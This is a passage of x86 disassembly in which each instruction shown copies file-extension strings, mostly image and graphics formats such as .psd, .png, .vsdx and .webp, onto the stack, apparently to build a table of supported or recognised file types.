movq qword [ebp - 0x1b10], xmm0
movzx eax, word [0x44f720]
mov word [ebp - 0x1b08], ax
movq xmm0, qword [str..ftn]
movq qword [ebp - 0x1b1c], xmm0
movzx eax, word [0x44f72c]
mov word [ebp - 0x1b14], ax
movq xmm0, qword [str..fxg]
movq qword [ebp - 0x1b28], xmm0
movzx eax, word [0x44f738]
mov word [ebp - 0x1b20], ax
movq xmm0, qword [str..gem]
movq qword [ebp - 0x1b34], xmm0
movzx eax, word [0x44f744]
mov word [ebp - 0x1b2c], ax
movq xmm0, qword [str..glox]
movq qword [ebp - 0x2180], xmm0
mov eax, dword [0x44f750]
mov dword [ebp - 0x2178], eax
xor eax, eax
mov word [ebp - 0x2174], ax
movq xmm0, qword [str..hpg]
movq qword [ebp - 0x1b40], xmm0
movzx eax, word [0x44f75c]
mov word [ebp - 0x1b38], ax
movq xmm0, qword [str..hpgl]
movq qword [ebp - 0x2170], xmm0
mov eax, dword [0x44f768]
mov dword [ebp - 0x2168], eax
xor eax, eax
mov word [ebp - 0x2164], ax
movq xmm0, qword [str..hpl]
movq qword [ebp - 0x1b4c], xmm0
movzx eax, word [0x44f774]
mov word [ebp - 0x1b44], ax
movq xmm0, qword [str..idea]
movq qword [ebp - 0x2160], xmm0
mov eax, dword [0x44f780]
mov dword [ebp - 0x2158], eax
xor eax, eax
mov word [ebp - 0x2154], ax
movq xmm0, qword [str..igt]
movq qword [ebp - 0x1b58], xmm0
movzx eax, word [0x44f78c]
mov word [ebp - 0x1b50], ax
movq xmm0, qword [str..igx]
movq qword [ebp - 0x1b64], xmm0
movzx eax, word [0x44f798]
mov word [ebp - 0x1b5c], ax
movq xmm0, qword [str..imd]
movq qword [ebp - 0x1b70], xmm0
movzx eax, word [0x44f7a4]
mov word [ebp - 0x1b68], ax
movq xmm0, qword [str..ink]
movq qword [ebp - 0x1b7c], xmm0
movzx eax, word [0x44f7b0]
mov word [ebp - 0x1b74], ax
movq xmm0, qword [str..lmk]
movq qword [ebp - 0x1b88], xmm0
movzx eax, word [0x44f7bc]
mov word [ebp - 0x1b80], ax
movq xmm0, qword [str..mgcb]
movq qword [ebp - 0x2150], xmm0
mov eax, dword [0x44f7c8]
mov dword [ebp - 0x2148], eax
xor eax, eax
mov word [ebp - 0x2144], ax
movq xmm0, qword [str..mgmf]
movq qword [ebp - 0x2140], xmm0
mov eax, dword [0x44f7d4]
mov dword [ebp - 0x2138], eax
xor eax, eax
mov word [ebp - 0x2134], ax
movq xmm0, qword [str..mgmt]
movq qword [ebp - 0x2130], xmm0
mov eax, dword [0x44f7e0]
mov dword [ebp - 0x2128], eax
xor eax, eax
mov word [ebp - 0x2124], ax
movq xmm0, qword [str..mt9]
movq qword [ebp - 0x1b94], xmm0
movzx eax, word [0x44f7ec]
mov word [ebp - 0x1b8c], ax
movq xmm0, qword [str..mgmx]
movq qword [ebp - 0x2120], xmm0
mov eax, dword [0x44f7f8]
mov dword [ebp - 0x2118], eax
xor eax, eax
mov word [ebp - 0x2114], ax
movq xmm0, qword [str..mgtx]
movq qword [ebp - 0x2110], xmm0
mov eax, dword [0x44f804]
mov dword [ebp - 0x2108], eax
xor eax, eax
mov word [ebp - 0x2104], ax
movq xmm0, qword [str..mmat]
movq qword [ebp - 0x2100], xmm0
mov eax, dword [0x44f810]
mov dword [ebp - 0x20f8], eax
xor eax, eax
mov word [ebp - 0x20f4], ax
movq xmm0, qword [str..mat]
movq qword [ebp - 0x1ba0], xmm0
movzx eax, word [0x44f81c]
mov word [ebp - 0x1b98], ax
movq xmm0, qword [str..otg]
movq qword [ebp - 0x1bac], xmm0
movzx eax, word [0x44f828]
mov word [ebp - 0x1ba4], ax
movq xmm0, qword [str..ovp]
movq qword [ebp - 0x1bb8], xmm0
movzx eax, word [0x44f834]
mov word [ebp - 0x1bb0], ax
movq xmm0, qword [str..ovr]
movq qword [ebp - 0x1bc4], xmm0
movzx eax, word [0x44f840]
mov word [ebp - 0x1bbc], ax
movq xmm0, qword [str..pcs]
movq qword [ebp - 0x1bd0], xmm0
movzx eax, word [0x44f84c]
mov word [ebp - 0x1bc8], ax
movq xmm0, qword [str..pfv]
movq qword [ebp - 0x1bdc], xmm0
movzx eax, word [0x44f858]
mov word [ebp - 0x1bd4], ax
mov eax, dword [0x44f85c]
mov dword [ebp - 0x80], eax
mov eax, dword [0x44f860]
mov dword [ebp - 0x7c], eax
xor eax, eax
mov word [ebp - 0x78], ax
movq xmm0, qword [str..plt]
movq qword [ebp - 0x1be8], xmm0
movzx eax, word [0x44f86c]
mov word [ebp - 0x1be0], ax
movq xmm0, qword [str..vrml]
movq qword [ebp - 0x20f0], xmm0
mov eax, dword [0x44f878]
mov dword [ebp - 0x20e8], eax
xor eax, eax
mov word [ebp - 0x20e4], ax
movq xmm0, qword [str..pobj]
movq qword [ebp - 0x20e0], xmm0
mov eax, dword [0x44f884]
mov dword [ebp - 0x20d8], eax
xor eax, eax
mov word [ebp - 0x20d4], ax
movq xmm0, qword [str..psid]
movq qword [ebp - 0x20d0], xmm0
mov eax, dword [0x44f890]
mov dword [ebp - 0x20c8], eax
xor eax, eax
mov word [ebp - 0x20c4], ax
movq xmm0, qword [str..rdl]
movq qword [ebp - 0x1bf4], xmm0
movzx eax, word [0x44f89c]
mov word [ebp - 0x1bec], ax
movq xmm0, qword [str..scv]
movq qword [ebp - 0x1c00], xmm0
movzx eax, word [0x44f8a8]
mov word [ebp - 0x1bf8], ax
movq xmm0, qword [str..sk1]
movq qword [ebp - 0x1c0c], xmm0
movzx eax, word [0x44f8b4]
mov word [ebp - 0x1c04], ax
movq xmm0, qword [str..sk2]
movq qword [ebp - 0x1c18], xmm0
movzx eax, word [0x44f8c0]
mov word [ebp - 0x1c10], ax
movq xmm0, qword [str..ssk]
movq qword [ebp - 0x1c24], xmm0
movzx eax, word [0x44f8cc]
mov word [ebp - 0x1c1c], ax
movq xmm0, qword [str..stn]
movq qword [ebp - 0x1c30], xmm0
movzx eax, word [0x44f8d8]
mov word [ebp - 0x1c28], ax
movq xmm0, qword [str..svf]
movq qword [ebp - 0x1c3c], xmm0
movzx eax, word [0x44f8e4]
mov word [ebp - 0x1c34], ax
movq xmm0, qword [str..svgz]
movq qword [ebp - 0x2580], xmm0
mov eax, dword [0x44f8f0]
mov dword [ebp - 0x2578], eax
xor eax, eax
mov word [ebp - 0x2574], ax
movq xmm0, qword [str..sxd]
movq qword [ebp - 0x1c48], xmm0
movzx eax, word [0x44f8fc]
mov word [ebp - 0x1c40], ax
movq xmm0, qword [str..tlc]
movq qword [ebp - 0x1c54], xmm0
movzx eax, word [0x44f908]
mov word [ebp - 0x1c4c], ax
movq xmm0, qword [str..tne]
movq qword [ebp - 0x1c60], xmm0
movzx eax, word [0x44f914]
mov word [ebp - 0x1c58], ax
movq xmm0, qword [str..ufr]
movq qword [ebp - 0x1c6c], xmm0
movzx eax, word [0x44f920]
mov word [ebp - 0x1c64], ax
movq xmm0, qword [str..vbr]
movq qword [ebp - 0x1c78], xmm0
movzx eax, word [0x44f92c]
mov word [ebp - 0x1c70], ax
movq xmm0, qword [str..vec]
movq qword [ebp - 0x1c84], xmm0
movzx eax, word [0x44f938]
mov word [ebp - 0x1c7c], ax
movq xmm0, qword [str..vml]
movq qword [ebp - 0x1c90], xmm0
movzx eax, word [0x44f944]
mov word [ebp - 0x1c88], ax
movq xmm0, qword [str..vsd]
movq qword [ebp - 0x1c9c], xmm0
movzx eax, word [0x44f950]
mov word [ebp - 0x1c94], ax
movq xmm0, qword [str..vsdm]
movq qword [ebp - 0x2590], xmm0
mov eax, dword [0x44f95c]
mov dword [ebp - 0x2588], eax
xor eax, eax
mov word [ebp - 0x2584], ax
movq xmm0, qword [str..vsdx]
movq qword [ebp - 0x25a0], xmm0
mov eax, dword [0x44f968]
mov dword [ebp - 0x2598], eax
xor eax, eax
mov word [ebp - 0x2594], ax
movq xmm0, qword [str..vstm]
movq qword [ebp - 0x25b0], xmm0
mov eax, dword [0x44f974]
mov dword [ebp - 0x25a8], eax
xor eax, eax
mov word [ebp - 0x25a4], ax
movq xmm0, qword [str..stm]
movq qword [ebp - 0x1ca8], xmm0
movzx eax, word [0x44f980]
mov word [ebp - 0x1ca0], ax
movq xmm0, qword [str..vstx]
movq qword [ebp - 0x25c0], xmm0
mov eax, dword [0x44f98c]
mov dword [ebp - 0x25b8], eax
xor eax, eax
mov word [ebp - 0x25b4], ax
movq xmm0, qword [str..wpg]
movq qword [ebp - 0x1cb4], xmm0
movzx eax, word [0x44f998]
mov word [ebp - 0x1cac], ax
movq xmm0, qword [str..vsm]
movq qword [ebp - 0x1cc0], xmm0
movzx eax, word [0x44f9a4]
mov word [ebp - 0x1cb8], ax
movq xmm0, qword [str..xar]
movq qword [ebp - 0x1ccc], xmm0
movzx eax, word [0x44f9b0]
mov word [ebp - 0x1cc4], ax
movq xmm0, qword [str..yal]
movq qword [ebp - 0x1cd8], xmm0
movzx eax, word [0x44f9bc]
mov word [ebp - 0x1cd0], ax
movq xmm0, qword [str..orf]
movq qword [ebp - 0x1ce4], xmm0
movzx eax, word [0x44f9c8]
mov word [ebp - 0x1cdc], ax
movq xmm0, qword [str..ota]
movq qword [ebp - 0x1cf0], xmm0
movzx eax, word [0x44f9d4]
mov word [ebp - 0x1ce8], ax
movq xmm0, qword [str..oti]
movq qword [ebp - 0x1cfc], xmm0
movzx eax, word [0x44f9e0]
mov word [ebp - 0x1cf4], ax
movq xmm0, qword [str..ozb]
movq qword [ebp - 0x1d08], xmm0
movzx eax, word [0x44f9ec]
mov word [ebp - 0x1d00], ax
movq xmm0, qword [str..ozj]
movq qword [ebp - 0x1d14], xmm0
movzx eax, word [0x44f9f8]
mov word [ebp - 0x1d0c], ax
movq xmm0, qword [str..ozt]
movq qword [ebp - 0x1d20], xmm0
movzx eax, word [0x44fa04]
mov word [ebp - 0x1d18], ax
movq xmm0, qword [str..pal]
movq qword [ebp - 0x1d2c], xmm0
movzx eax, word [0x44fa10]
mov word [ebp - 0x1d24], ax
movq xmm0, qword [str..pano]
movq qword [ebp - 0x25d0], xmm0
mov eax, dword [0x44fa1c]
mov dword [ebp - 0x25c8], eax
xor eax, eax
mov word [ebp - 0x25c4], ax
movq xmm0, qword [str..pap]
movq qword [ebp - 0x1d38], xmm0
movzx eax, word [0x44fa28]
mov word [ebp - 0x1d30], ax
movq xmm0, qword [str..pbm]
movq qword [ebp - 0x1d44], xmm0
movzx eax, word [0x44fa34]
mov word [ebp - 0x1d3c], ax
movq xmm0, qword [str..pc1]
movq qword [ebp - 0x1d50], xmm0
movzx eax, word [0x44fa40]
mov word [ebp - 0x1d48], ax
movq xmm0, qword [str..pc2]
movq qword [ebp - 0x1d5c], xmm0
movzx eax, word [0x44fa4c]
mov word [ebp - 0x1d54], ax
movq xmm0, qword [str..pc3]
movq qword [ebp - 0x1d68], xmm0
movzx eax, word [0x44fa58]
mov word [ebp - 0x1d60], ax
movq xmm0, qword [str..pcd]
movq qword [ebp - 0x1d74], xmm0
movzx eax, word [0x44fa64]
mov word [ebp - 0x1d6c], ax
movq xmm0, qword [str..pdd]
movq qword [ebp - 0x1d80], xmm0
movzx eax, word [0x44fa70]
mov word [ebp - 0x1d78], ax
movq xmm0, qword [str..pe4]
movq qword [ebp - 0x8c], xmm0
movzx eax, word [0x44fa7c]
mov word [ebp - 0x84], ax
movq xmm0, qword [str..pef]
movq qword [ebp - 0x1d8c], xmm0
movzx eax, word [0x44fa88]
mov word [ebp - 0x1d84], ax
movq xmm0, qword [str..pfi]
movq qword [ebp - 0x1d98], xmm0
movzx eax, word [0x44fa94]
mov word [ebp - 0x1d90], ax
movq xmm0, qword [str..pgf]
movq qword [ebp - 0x1da4], xmm0
movzx eax, word [0x44faa0]
mov word [ebp - 0x1d9c], ax
movq xmm0, qword [str..pgm]
movq qword [ebp - 0x1db0], xmm0
movzx eax, word [0x44faac]
mov word [ebp - 0x1da8], ax
movq xmm0, qword [str..pi1]
movq qword [ebp - 0x1dbc], xmm0
movzx eax, word [0x44fab8]
mov word [ebp - 0x1db4], ax
movq xmm0, qword [str..pi2]
movq qword [ebp - 0x1dc8], xmm0
movzx eax, word [0x44fac4]
mov word [ebp - 0x1dc0], ax
movq xmm0, qword [str..pi3]
movq qword [ebp - 0x1dd4], xmm0
movzx eax, word [0x44fad0]
mov word [ebp - 0x1dcc], ax
movq xmm0, qword [str..pic]
movq qword [ebp - 0x1de0], xmm0
movzx eax, word [0x44fadc]
mov word [ebp - 0x1dd8], ax
movq xmm0, qword [str..pict]
movq qword [ebp - 0x25e0], xmm0
mov eax, dword [0x44fae8]
mov dword [ebp - 0x25d8], eax
xor eax, eax
mov word [ebp - 0x25d4], ax
movq xmm0, qword [str..pix]
movq qword [ebp - 0x1dec], xmm0
movzx eax, word [0x44faf4]
mov word [ebp - 0x1de4], ax
movq xmm0, qword [str..pjpg]
movq qword [ebp - 0x25f0], xmm0
mov eax, dword [0x44fb00]
mov dword [ebp - 0x25e8], eax
xor eax, eax
mov word [ebp - 0x25e4], ax
mov eax, dword [0x44fb04]
mov dword [ebp - 0x44], eax
mov eax, dword [0x44fb08]
mov dword [ebp - 0x40], eax
xor eax, eax
mov word [ebp - 0x3c], ax
movq xmm0, qword [str..pmg]
movq qword [ebp - 0x98], xmm0
movzx eax, word [0x44fb14]
mov word [ebp - 0x90], ax
movq xmm0, qword [str..pni]
movq qword [ebp - 0x1df8], xmm0
movzx eax, word [0x44fb20]
mov word [ebp - 0x1df0], ax
movq xmm0, qword [str..pnm]
movq qword [ebp - 0x1e04], xmm0
movzx eax, word [0x44fb2c]
mov word [ebp - 0x1dfc], ax
movq xmm0, qword [str..pntg]
movq qword [ebp - 0x2600], xmm0
mov eax, dword [0x44fb38]
mov dword [ebp - 0x25f8], eax
xor eax, eax
mov word [ebp - 0x25f4], ax
movq xmm0, qword [str..pop]
movq qword [ebp - 0x1e10], xmm0
movzx eax, word [0x44fb44]
mov word [ebp - 0x1e08], ax
movq xmm0, qword [str..pp4]
movq qword [ebp - 0x1e1c], xmm0
movzx eax, word [0x44fb50]
mov word [ebp - 0x1e14], ax
movq xmm0, qword [str..pp5]
movq qword [ebp - 0x1e28], xmm0
movzx eax, word [0x44fb5c]
mov word [ebp - 0x1e20], ax
movq xmm0, qword [str..ppm]
movq qword [ebp - 0x1e34], xmm0
movzx eax, word [0x44fb68]
mov word [ebp - 0x1e2c], ax
movq xmm0, qword [str..prw]
movq qword [ebp - 0x1e40], xmm0
movzx eax, word [0x44fb74]
mov word [ebp - 0x1e38], ax
movq xmm0, qword [str..psdx]
movq qword [ebp - 0x2610], xmm0
mov eax, dword [0x44fb80]
mov dword [ebp - 0x2608], eax
xor eax, eax
mov word [ebp - 0x2604], ax
movq xmm0, qword [str..pse]
movq qword [ebp - 0x1e4c], xmm0
movzx eax, word [0x44fb8c]
mov word [ebp - 0x1e44], ax
movq xmm0, qword [str..psp]
movq qword [ebp - 0x1e58], xmm0
movzx eax, word [0x44fb98]
mov word [ebp - 0x1e50], ax
movq xmm0, qword [str..ptg]
movq qword [ebp - 0x1e64], xmm0
movzx eax, word [0x44fba4]
mov word [ebp - 0x1e5c], ax
movq xmm0, qword [str..ptx]
movq qword [ebp - 0xa4], xmm0
movzx eax, word [0x44fbb0]
mov word [ebp - 0x9c], ax
movq xmm0, qword [str..pvr]
movq qword [ebp - 0x1e70], xmm0
movzx eax, word [0x44fbbc]
mov word [ebp - 0x1e68], ax
mov eax, dword [0x44fbc0]
mov dword [ebp - 0xb0], eax
mov eax, dword [0x44fbc4]
mov dword [ebp - 0xac], eax
xor eax, eax
mov word [ebp - 0xa8], ax
movq xmm0, qword [str..pxr]
movq qword [ebp - 0x1e7c], xmm0
movzx eax, word [0x44fbd0]
mov word [ebp - 0x1e74], ax
movq xmm0, qword [str..pz3]
movq qword [ebp - 0x1e88], xmm0
movzx eax, word [0x44fbdc]
mov word [ebp - 0x1e80], ax
movq xmm0, qword [str..pza]
movq qword [ebp - 0x1e94], xmm0
movzx eax, word [0x44fbe8]
mov word [ebp - 0x1e8c], ax
movq xmm0, qword [str..pzp]
movq qword [ebp - 0x1ea0], xmm0
movzx eax, word [0x44fbf4]
mov word [ebp - 0x1e98], ax
movq xmm0, qword [str..pzs]
movq qword [ebp - 0x1eac], xmm0
movzx eax, word [0x44fc00]
mov word [ebp - 0x1ea4], ax
movq xmm0, qword [str..z3d]
movq qword [ebp - 0x1eb8], xmm0
movzx eax, word [0x44fc0c]
mov word [ebp - 0x1eb0], ax
movq xmm0, qword [str..qmg]
movq qword [ebp - 0x1ec4], xmm0
movzx eax, word [0x44fc18]
mov word [ebp - 0x1ebc], ax
movq xmm0, qword [str..ras]
movq qword [ebp - 0x1ed0], xmm0
movzx eax, word [0x44fc24]
mov word [ebp - 0x1ec8], ax
movq xmm0, qword [str..rcu]
movq qword [ebp - 0x1edc], xmm0
movzx eax, word [0x44fc30]
mov word [ebp - 0x1ed4], ax
movq xmm0, qword [str..rgb]
movq qword [ebp - 0xbc], xmm0
movzx eax, word [0x44fc3c]
mov word [ebp - 0xb4], ax
movq xmm0, qword [str..rgf]
movq qword [ebp - 0x1ee8], xmm0
movzx eax, word [0x44fc48]
mov word [ebp - 0x1ee0], ax
movq xmm0, qword [str..ric]
movq qword [ebp - 0x1ef4], xmm0
movzx eax, word [0x44fc54]
mov word [ebp - 0x1eec], ax
movq xmm0, qword [str..riff]
movq qword [ebp - 0x2620], xmm0
mov eax, dword [0x44fc60]
mov dword [ebp - 0x2618], eax
xor eax, eax
mov word [ebp - 0x2614], ax
movq xmm0, qword [str..rix]
movq qword [ebp - 0x1f00], xmm0
movzx eax, word [0x44fc6c]
mov word [ebp - 0x1ef8], ax
movq xmm0, qword [str..rle]
movq qword [ebp - 0x1f0c], xmm0
movzx eax, word [0x44fc78]
mov word [ebp - 0x1f04], ax
movq xmm0, qword [str..rli]
movq qword [ebp - 0x1f18], xmm0
movzx eax, word [0x44fc84]
mov word [ebp - 0x1f10], ax
movq xmm0, qword [str..rpf]
movq qword [ebp - 0x1f24], xmm0
movzx eax, word [0x44fc90]
mov word [ebp - 0x1f1c], ax
movq xmm0, qword [str..rri]
movq qword [ebp - 0x1f30], xmm0
movzx eax, word [0x44fc9c]
mov word [ebp - 0x1f28], ax
mov eax, dword [0x44fca0]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x44fca4]
mov dword [ebp - 0xc4], eax
xor eax, eax
mov word [ebp - 0xc0], ax
movq xmm0, qword [str..rsb]
movq qword [ebp - 0x1f3c], xmm0
movzx eax, word [0x44fcb0]
mov word [ebp - 0x1f34], ax
movq xmm0, qword [str..rsr]
movq qword [ebp - 0x1f48], xmm0
movzx eax, word [0x44fcbc]
mov word [ebp - 0x1f40], ax
movq xmm0, qword [str..rw2]
movq qword [ebp - 0x1f54], xmm0
movzx eax, word [0x44fcc8]
mov word [ebp - 0x1f4c], ax
movq xmm0, qword [str..rwl]
movq qword [ebp - 0x1f60], xmm0
movzx eax, word [0x44fcd4]
mov word [ebp - 0x1f58], ax
movq xmm0, qword [str..s2mv]
movq qword [ebp - 0x2630], xmm0
mov eax, dword [0x44fce0]
mov dword [ebp - 0x2628], eax
xor eax, eax
mov word [ebp - 0x2624], ax
movq xmm0, qword [str..sci]
movq qword [ebp - 0x1f6c], xmm0
movzx eax, word [0x44fcec]
mov word [ebp - 0x1f64], ax
movq xmm0, qword [str..sep]
movq qword [ebp - 0x1f78], xmm0
movzx eax, word [0x44fcf8]
mov word [ebp - 0x1f70], ax
movq xmm0, qword [str..sfc]
movq qword [ebp - 0x1f84], xmm0
movzx eax, word [0x44fd04]
mov word [ebp - 0x1f7c], ax
movq xmm0, qword [str..sfw]
movq qword [ebp - 0x1f90], xmm0
movzx eax, word [0x44fd10]
mov word [ebp - 0x1f88], ax
movq xmm0, qword [str..skm]
movq qword [ebp - 0x1f9c], xmm0
movzx eax, word [0x44fd1c]
mov word [ebp - 0x1f94], ax
movq xmm0, qword [str..sld]
movq qword [ebp - 0x1fa8], xmm0
movzx eax, word [0x44fd28]
mov word [ebp - 0x1fa0], ax
movq xmm0, qword [str..sob]
movq qword [ebp - 0x1fb4], xmm0
movzx eax, word [0x44fd34]
mov word [ebp - 0x1fac], ax
movq xmm0, qword [str..spa]
movq qword [ebp - 0x1fc0], xmm0
movzx eax, word [0x44fd40]
mov word [ebp - 0x1fb8], ax
movq xmm0, qword [str..spe]
movq qword [ebp - 0x1fcc], xmm0
movzx eax, word [0x44fd4c]
mov word [ebp - 0x1fc4], ax
movq xmm0, qword [str..sph]
movq qword [ebp - 0x1fd8], xmm0
movzx eax, word [0x44fd58]
mov word [ebp - 0x1fd0], ax
movq xmm0, qword [str..spj]
movq qword [ebp - 0x1fe4], xmm0
movzx eax, word [0x44fd64]
mov word [ebp - 0x1fdc], ax
movq xmm0, qword [str..spp]
movq qword [ebp - 0x1ff0], xmm0
movzx eax, word [0x44fd70]
mov word [ebp - 0x1fe8], ax
movq xmm0, qword [str..sr2]
movq qword [ebp - 0x1ffc], xmm0
movzx eax, word [0x44fd7c]
mov word [ebp - 0x1ff4], ax
movq xmm0, qword [str..srw]
movq qword [ebp - 0x2008], xmm0
movzx eax, word [0x44fd88]
mov word [ebp - 0x2000], ax
movq xmm0, qword [str..ste]
movq qword [ebp - 0x2014], xmm0
movzx eax, word [0x44fd94]
mov word [ebp - 0x200c], ax
movq xmm0, qword [str..sumo]
movq qword [ebp - 0x2640], xmm0
mov eax, dword [0x44fda0]
mov dword [ebp - 0x2638], eax
xor eax, eax
mov word [ebp - 0x2634], ax
movq xmm0, qword [str..sva]
movq qword [ebp - 0x2020], xmm0
movzx eax, word [0x44fdac]
mov word [ebp - 0x2018], ax
movq xmm0, qword [str..save]
movq qword [ebp - 0x2650], xmm0
mov eax, dword [0x44fdb8]
mov dword [ebp - 0x2648], eax
xor eax, eax
mov word [ebp - 0x2644], ax
movq xmm0, qword [str..ssfn]
movq qword [ebp - 0x2660], xmm0
mov eax, dword [0x44fdc4]
mov dword [ebp - 0x2658], eax
xor eax, eax
mov word [ebp - 0x2654], ax
movq xmm0, qword [str..t2b]
movq qword [ebp - 0x202c], xmm0
movzx eax, word [0x44fdd0]
mov word [ebp - 0x2024], ax
movq xmm0, qword [str..tb0]
movq qword [ebp - 0x2038], xmm0
movzx eax, word [0x44fddc]
mov word [ebp - 0x2030], ax
movq xmm0, qword [str..tbn]
movq qword [ebp - 0x2044], xmm0
movzx eax, word [0x44fde8]
mov word [ebp - 0x203c], ax
movq xmm0, qword [str..tfc]
movq qword [ebp - 0x2050], xmm0
movzx eax, word [0x44fdf4]
mov word [ebp - 0x2048], ax
movq xmm0, qword [str..tg4]
movq qword [ebp - 0x205c], xmm0
movzx eax, word [0x44fe00]
mov word [ebp - 0x2054], ax
movq xmm0, qword [str..thm]
movq qword [ebp - 0x2068], xmm0
movzx eax, word [0x44fe0c]
mov word [ebp - 0x2060], ax
movq xmm0, qword [str..tjp]
movq qword [ebp - 0x2074], xmm0
movzx eax, word [0x44fe18]
mov word [ebp - 0x206c], ax
movq xmm0, qword [str..tm2]
movq qword [ebp - 0x2080], xmm0
movzx eax, word [0x44fe24]
mov word [ebp - 0x2078], ax
mov eax, dword [0x44fe28]
mov dword [ebp - 0xec], eax
mov eax, dword [0x44fe2c]
mov dword [ebp - 0xe8], eax
xor eax, eax
mov word [ebp - 0xe4], ax
movq xmm0, qword [str..tpi]
movq qword [ebp - 0x208c], xmm0
movzx eax, word [0x44fe38]
mov word [ebp - 0x2084], ax
movq xmm0, qword [str..ufo]
movq qword [ebp - 0x2098], xmm0
movzx eax, word [0x44fe44]
mov word [ebp - 0x2090], ax
movq xmm0, qword [str..uga]
movq qword [ebp - 0x20a4], xmm0
movzx eax, word [0x44fe50]
mov word [ebp - 0x209c], ax
movq xmm0, qword [str..vda]
movq qword [ebp - 0x20b0], xmm0
movzx eax, word [0x44fe5c]
mov word [ebp - 0x20a8], ax
movq xmm0, qword [str..vff]
movq qword [ebp - 0x34c], xmm0
movzx eax, word [0x44fe68]
mov word [ebp - 0x344], ax
movq xmm0, qword [str..vpe]
movq qword [ebp - 0x358], xmm0
movzx eax, word [0x44fe74]
mov word [ebp - 0x350], ax
movq xmm0, qword [str..vst]
movq qword [ebp - 0x364], xmm0
movzx eax, word [0x44fe80]
mov word [ebp - 0x35c], ax
movq xmm0, qword [str..wb1]
movq qword [ebp - 0x370], xmm0
movzx eax, word [0x44fe8c]
mov word [ebp - 0x368], ax
movq xmm0, qword [str..wbc]
movq qword [ebp - 0x37c], xmm0
movzx eax, word [0x44fe98]
mov word [ebp - 0x374], ax
movq xmm0, qword [str..wbd]
movq qword [ebp - 0x388], xmm0
movzx eax, word [0x44fea4]
mov word [ebp - 0x380], ax
movq xmm0, qword [str..wbm]
movq qword [ebp - 0x394], xmm0
movzx eax, word [0x44feb0]
mov word [ebp - 0x38c], ax
movq xmm0, qword [str..wbmp]
movq qword [ebp - 0x2670], xmm0
mov eax, dword [0x44febc]
mov dword [ebp - 0x2668], eax
xor eax, eax
mov word [ebp - 0x2664], ax
movq xmm0, qword [str..wbz]
movq qword [ebp - 0x3a0], xmm0
movzx eax, word [0x44fec8]
mov word [ebp - 0x398], ax
movq xmm0, qword [str..wdp]
movq qword [ebp - 0x3ac], xmm0
movzx eax, word [0x44fed4]
mov word [ebp - 0x3a4], ax
movq xmm0, qword [str..webp]
movq qword [ebp - 0x2680], xmm0
mov eax, dword [0x44fee0]
mov dword [ebp - 0x2678], eax
xor eax, eax
mov word [ebp - 0x2674], ax
movq xmm0, qword [str..wpb]
movq qword [ebp - 0x3b8], xmm0
movzx eax, word [0x44feec]
mov word [ebp - 0x3b0], ax
movq xmm0, qword [str..wpe]
movq qword [ebp - 0x3c4], xmm0
movzx eax, word [0x44fef8]
mov word [ebp - 0x3bc], ax
movq xmm0, qword [str..wvl]
movq qword [ebp - 0x3d0], xmm0
movzx eax, word [0x44ff04]
mov word [ebp - 0x3c8], ax
movq xmm0, qword [str..x3f]
movq qword [ebp - 0x3dc], xmm0
movzx eax, word [0x44ff10]
mov word [ebp - 0x3d4], ax
mov eax, dword [0x44ff14]
mov dword [ebp - 0xf8], eax
movzx eax, word [0x44ff18]
mov word [ebp - 0xf4], ax
mov dword [ebp - 0xf2], 0
movq xmm0, qword [str..ysp]
movq qword [ebp - 0x3e8], xmm0
movzx eax, word [0x44ff24]
mov word [ebp - 0x3e0], ax
movq xmm0, qword [str..zif]
movq qword [ebp - 0x3f4], xmm0
movzx eax, word [0x44ff30]
mov word [ebp - 0x3ec], ax
movq xmm0, qword [str..cdr4]
movq qword [ebp - 0x2690], xmm0
mov eax, dword [0x44ff3c]
mov dword [ebp - 0x2688], eax
xor eax, eax
mov word [ebp - 0x2684], ax
movq xmm0, qword [str..cdr6]
movq qword [ebp - 0x26a0], xmm0
mov eax, dword [0x44ff48]
mov dword [ebp - 0x2698], eax
xor eax, eax
mov word [ebp - 0x2694], ax
movq xmm0, qword [str..cdrw]
movq qword [ebp - 0x26b0], xmm0
mov eax, dword [0x44ff54]
mov dword [ebp - 0x26a8], eax
xor eax, eax
mov word [ebp - 0x26a4], ax
movq xmm0, qword [str..ddoc]
movq qword [ebp - 0x26d0], xmm0
mov eax, dword [0x44ff60]
mov dword [ebp - 0x26c8], eax
xor eax, eax
mov word [ebp - 0x26c4], ax
movq xmm0, qword [str..css]
movq qword [ebp - 0x400], xmm0
movzx eax, word [0x44ff6c]
mov word [ebp - 0x3f8], ax
movq xmm0, qword [str..pptm]
movq qword [ebp - 0x26e0], xmm0
mov eax, dword [0x44ff78]
mov dword [ebp - 0x26d8], eax
xor eax, eax
mov word [ebp - 0x26d4], ax
movq xmm0, qword [str..raw]
movq qword [ebp - 0x40c], xmm0
movzx eax, word [0x44ff84]
mov word [ebp - 0x404], ax
movq xmm0, qword [str..cpt]
movq qword [ebp - 0x418], xmm0
movzx eax, word [0x44ff90]
mov word [ebp - 0x410], ax
movq xmm0, qword [str..pcx]
movq qword [ebp - 0x11c], xmm0
movzx eax, word [0x44ff9c]
mov word [ebp - 0x114], ax
movq xmm0, qword [str..pdn]
movq qword [ebp - 0x128], xmm0
movzx eax, word [0x44ffa8]
mov word [ebp - 0x120], ax
movq xmm0, qword [str..png]
movq qword [ebp - 0x134], xmm0
movzx eax, word [0x44ffb4]
mov word [ebp - 0x12c], ax
movq xmm0, qword [str..psd]
movq qword [ebp - 0x140], xmm0
movzx eax, word [0x44ffc0]
mov word [ebp - 0x138], ax
movq xmm0, qword [str..tga]
movq qword [ebp - 0x424], xmm0
movzx eax, word [0x44ffcc]
mov word [ebp - 0x41c], ax
movq xmm0, qword [str..tiff]
movq qword [ebp - 0x334], xmm0
mov eax, dword [0x44ffd8]
mov dword [ebp - 0x32c], eax
xor eax, eax
mov word [ebp - 0x328], ax
movq xmm0, qword [str..tif]
movq qword [ebp - 0x14c], xmm0
movzx eax, word [0x44ffe4]
mov word [ebp - 0x144], ax
movq xmm0, qword [str..xpm]
movq qword [ebp - 0x430], xmm0
movzx eax, word [0x44fff0]
mov word [ebp - 0x428], ax
mov eax, dword [0x44fff4]
mov dword [ebp - 0x68], eax
mov eax, dword [0x44fff8]
mov dword [ebp - 0x64], eax
xor eax, eax
mov word [ebp - 0x60], ax
movq xmm0, qword [str..sai]
movq qword [ebp - 0x164], xmm0
movzx eax, word [0x450004]
mov word [ebp - 0x15c], ax
movq xmm0, qword [str..wmf]
movq qword [ebp - 0x170], xmm0
movzx eax, word [0x450010]
mov word [ebp - 0x168], ax
movq xmm0, qword [str..ani]
movq qword [ebp - 0x43c], xmm0
movzx eax, word [0x45001c]
mov word [ebp - 0x434], ax
